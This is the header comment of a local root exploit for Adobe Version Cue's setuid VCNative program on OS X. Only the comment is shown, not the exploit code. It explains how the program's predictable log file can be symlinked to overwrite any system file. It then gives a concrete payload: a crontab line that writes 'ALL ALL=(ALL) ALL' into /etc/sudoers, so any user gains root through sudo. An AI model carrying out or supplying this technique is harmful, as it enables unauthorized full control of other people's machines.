# Adobe Version Cue VCNative[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# Adobe Version Cue's VCNative program writes data to a log file in
# the current working directory while running as (setuid) root. the
# logfile is formated as <cwd>/VCNative-<pid>.log, which is easily
# predictable. you may link this file to any file on the system
# and overwrite its contents. use of the "-host" option (with
# "-port") will allow user-supplied data to be injected into the
# file.
#
# This exploit works by overwriting /etc/crontab with
# '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and
# log garbage. within a short period of time crontab will overwrite
# /etc/sudoers and "sudo sh" to root is possible. this method is used
# because direct overwriting of /etc/sudoers will cause sudo to exit
# with configuration errors due to the log garbage, whereas crontab
# will ignore it. (this exploit requires both cron to be running and
# sudo to exist--this is generally default osx)
